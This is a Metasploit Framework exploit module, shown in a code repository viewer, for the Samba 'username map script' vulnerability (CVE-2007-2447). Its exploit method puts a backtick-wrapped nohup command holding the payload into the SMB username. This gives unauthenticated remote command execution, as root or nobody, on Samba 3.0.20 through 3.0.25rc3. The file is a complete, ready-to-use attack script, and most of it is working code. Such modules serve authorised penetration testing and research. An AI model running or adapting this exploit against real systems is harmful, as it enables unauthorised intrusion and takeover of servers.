Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / multi / samba / usermap_script.rb @ master

History | View | Annotate | Download (2.3 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = ExcellentRanking
16

    
17
        include Msf::Exploit::Remote::SMB
18

    
19
        # For our customized version of session_setup_no_ntlmssp
20
        CONST = Rex::Proto::SMB::Constants
21
        CRYPT = Rex::Proto::SMB::Crypt
22

    
23
        def initialize(info = {})
24
                super(update_info(info,
25
                        'Name'           => 'Samba "username map script" Command Execution',
26
                        'Description'    => %q{
27
                                        This module exploits a command execution vulerability in Samba
28
                                versions 3.0.20 through 3.0.25rc3 when using the non-default
29
                                "username map script" configuration option. By specifying a username
30
                                containing shell meta characters, attackers can execute arbitrary
31
                                commands.
32

    
33
                                No authentication is needed to exploit this vulnerability since
34
                                this option is used to map usernames prior to authentication!
35
                        },
36
                        'Author'         => [ 'jduck' ],
37
                        'License'        => MSF_LICENSE,
38
                        'Version'        => '$Revision$',
39
                        'References'     =>
40
                                [
41
                                        [ 'CVE', '2007-2447' ],
42
                                        [ 'OSVDB', '34700' ],
43
                                        [ 'BID', '23972' ],
44
                                        [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534' ],
45
                                        [ 'URL', 'http://samba.org/samba/security/CVE-2007-2447.html' ]
46
                                ],
47
                        'Platform'       => ['unix'],
48
                        'Arch'           => ARCH_CMD,
49
                        'Privileged'     => true, # root or nobody user
50
                        'Payload'        =>
51
                                {
52
                                        'Space'    => 1024,
53
                                        'DisableNops' => true,
54
                                        'Compat'      =>
55
                                                {
56
                                                        'PayloadType' => 'cmd',
57
                                                        # *_perl and *_ruby work if they are installed
58
                                                        # mileage may vary from system to system..
59
                                                }
60
                                },
61
                        'Targets'        =>
62
                                [
63
                                        [ "Automatic", { } ]
64
                                ],
65
                        'DefaultTarget'  => 0,
66
                        'DisclosureDate' => 'May 14 2007'))
67

    
68
                register_options(
69
                        [
70
                                Opt::RPORT(139)
71
                        ], self.class)
72
        end
73

    
74

    
75
        def exploit
76

    
77
                connect
78

    
79
                # lol?
80
                username = "/=`nohup " + payload.encoded + "`"
81
                begin
82
                        simple.client.negotiate(false)
83
                        simple.client.session_setup_no_ntlmssp(username, rand_text(16), datastore['SMBDomain'], false)
84
                rescue ::Timeout::Error, XCEPT::LoginError
85
                        # nothing, it either worked or it didn't ;)
86
                end
87

    
88
                handler
89
        end
90

    
91
end